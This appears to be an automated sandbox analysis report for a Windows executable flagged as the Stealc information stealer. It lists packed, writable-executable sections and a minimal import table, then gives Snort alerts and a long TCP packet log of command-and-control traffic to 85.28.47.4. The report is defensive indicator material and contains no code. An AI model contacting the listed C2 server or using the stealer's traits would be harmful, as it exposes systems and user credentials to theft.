IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9ce000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	391a319bcee7cb7445c4cb66cb9daba5	False	0.9995712652439024	data	7.994281744516605	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	64dba62acabc2b713e3f4f8ea7b3696f	False	0.99383544921875	data	7.977734026363839	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	8f5e7ce61d77aa5b7775c0473aa584f5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	e12e89078f713acd4dc549e04218f2f0	False	0.989990234375	data	7.947938524666875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x78f000	0x32800	b1331c12b8128d7225797ae0d0ae2777	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9cb000	0x222000	0x221800	0916c446f156a4bfc7fcf9d11f12daf6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/27/24-07:37:07.703014	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49705	80	192.168.2.5	85.28.47.4
06/27/24-07:37:07.882322	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49705	85.28.47.4	192.168.2.5
06/27/24-07:37:07.524059	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49705	80	192.168.2.5	85.28.47.4
06/27/24-07:37:06.901028	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49705	80	192.168.2.5	85.28.47.4
06/27/24-07:37:07.701451	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49705	85.28.47.4	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 27, 2024 07:37:06.895612955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:06.900661945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:06.900738955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:06.901027918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:06.905781031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.521696091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.521907091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:07.524059057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:07.528964996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.701451063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.701474905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.701590061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:07.703013897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:07.709136009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.882322073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.882395029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.882399082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:07.882433891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.882441044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:07.882483006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:07.882535934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.882571936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:07.882579088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:07.882615089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:07.886667013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:07.893443108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:08.062573910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:08.062653065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:08.101134062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:08.101171017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:08.105854988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:08.105977058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:08.105989933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:08.106010914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:08.106023073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:08.106709003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:08.106722116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:08.837434053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:08.837610006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.146354914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.151648998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.321166992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.321203947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.321254015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.321356058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.321393967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.321429014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.321466923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.321486950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.321542978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.321552038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.321629047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.322082996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.322138071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.322139025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.322173119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.322196960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.322222948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.322295904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.322329998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.322350025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.322381973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.322931051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.322984934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.403551102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.403626919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.403639078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.403673887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.403702021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.403712034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.403723955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.403764009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.403948069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.403995037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.409086943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.409099102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.409110069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.409120083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.409154892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.409204006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.409213066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.409224033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.409234047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.409248114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.409260988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.409296989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.410274982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410284996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410299063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410307884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410319090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.410362005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.410418987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410429955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410439968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410470963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.410500050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.410605907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410620928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410631895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410655022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.410687923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.410864115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410876036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.410912037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.410943031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.486393929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.486481905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.486510038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.486529112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.486551046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.486568928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.486573935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.486588001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.486598969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.486617088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.486620903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.486643076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.486663103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.486831903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.486888885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.490865946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.490896940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.490926981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.490942001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491067886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491113901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491125107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491158962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491164923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491205931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491210938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491252899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491251945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491307974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491385937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491436958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491437912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491477966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491492033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491532087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491707087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491723061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491738081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491765976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491799116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.491884947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.491935968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.495461941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.495481014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.495496035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.495523930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.495543003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.495600939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.495620966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.495647907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.495682001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.495790958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.495810032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.495830059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.495839119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.495858908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.495887041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.495925903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.495946884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.495973110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.495994091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.496129990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.496145964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.496179104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.496193886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.496300936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.496320009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.496340990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.496350050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.496361971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.496370077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.496391058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.496411085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.496613026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.496666908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.496962070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.496977091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.496992111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497016907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497047901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497126102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497145891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497174978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497195959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497457027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497471094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497510910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497627020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497643948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497678995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497692108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497708082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497709036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497724056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497739077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497767925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497782946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497888088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497905970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.497935057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.497956991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.568542004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.568639040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.568659067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.568670988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.568677902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.568702936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.568722963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.572737932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.572777033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.572794914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.572801113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.572843075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.573189020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.573208094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.573225975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.573240995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.573244095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.573262930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.573275089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.573316097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.576940060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577006102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577008963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577028036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577048063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577054024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577090979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577127934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577147007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577173948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577204943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577270985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577316046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577358007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577374935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577408075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577419043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577445030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577461958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577491045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577508926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577564001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577605009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577608109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577624083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577649117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577666998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577794075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577824116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577843904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577850103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577864885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.577869892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577891111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.577914000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.578007936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.578023911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.578049898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.578063965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.578274965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.578329086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.581506968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.581526041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.581546068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.581564903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.581567049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.581598043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.581629038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.581631899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.581676006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.581743956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.581762075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.581780910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.581789017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.581811905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.581829071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.581892014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.581919909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.581938028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.581938982 CEST	80	49705	85.28.47.4	192.168.2.5
